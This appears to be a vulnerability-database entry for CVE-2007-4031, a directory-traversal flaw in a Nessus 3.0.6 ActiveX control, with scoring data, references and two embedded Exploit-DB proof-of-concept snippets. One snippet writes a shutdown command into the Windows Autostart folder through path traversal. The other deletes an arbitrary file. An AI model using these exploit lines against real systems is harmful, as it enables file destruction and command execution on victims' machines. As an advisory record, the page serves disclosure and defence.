CVE-2007-4031
published 2007-07-27CVE-2007-4031: Directory traversal vulnerability in a certain ActiveX control in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via a .…
PriorityP341high7.8CVSS 2.0
AVNACMAuNCNIPAC
EXPLOIT
EPSS
5.71%
92.1th percentile
Directory traversal vulnerability in a certain ActiveX control in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via a .. (dot dot) in the argument to the deleteReport method, probably related to the SCANCTRL.ScanCtrlCtrl.1 ActiveX control in scan.dll.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| nessus | vulnerability_scanner | — | — |
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Exploit-DB
Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution
exploitdb·2007-07-27
CVE-2007-4062 Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution
Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution
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Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
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obj.addsetConfig('shutdown -t 1000 -s -c "hello world ;]" && pause', '', '');
obj.saveNessusRC("../../../../../../Documents and Settings/All Users/Menu Start/Programy/Autostart/exec.bat");
# milw0rm.com [2007-07-27]
Exploit-DB
Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File
exploitdb·2007-07-26
CVE-2007-4031 Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File
Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File
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Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
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obj.deleteReport("../../../../../../../test.txt"); //Deleting file: C:\test.txt
alert("done");
# milw0rm.com [2007-07-26]
http://secunia.com/advisories/26243http://securitytracker.com/id?1018469http://www.nessus.org/news/http://www.securityfocus.com/bid/25088http://www.vupen.com/english/advisories/2007/2680https://exchange.xforce.ibmcloud.com/vulnerabilities/35641https://www.exploit-db.com/exploits/4230http://secunia.com/advisories/26243http://securitytracker.com/id?1018469http://www.nessus.org/news/http://www.securityfocus.com/bid/25088http://www.vupen.com/english/advisories/2007/2680https://exchange.xforce.ibmcloud.com/vulnerabilities/35641https://www.exploit-db.com/exploits/4230
2007-07-27
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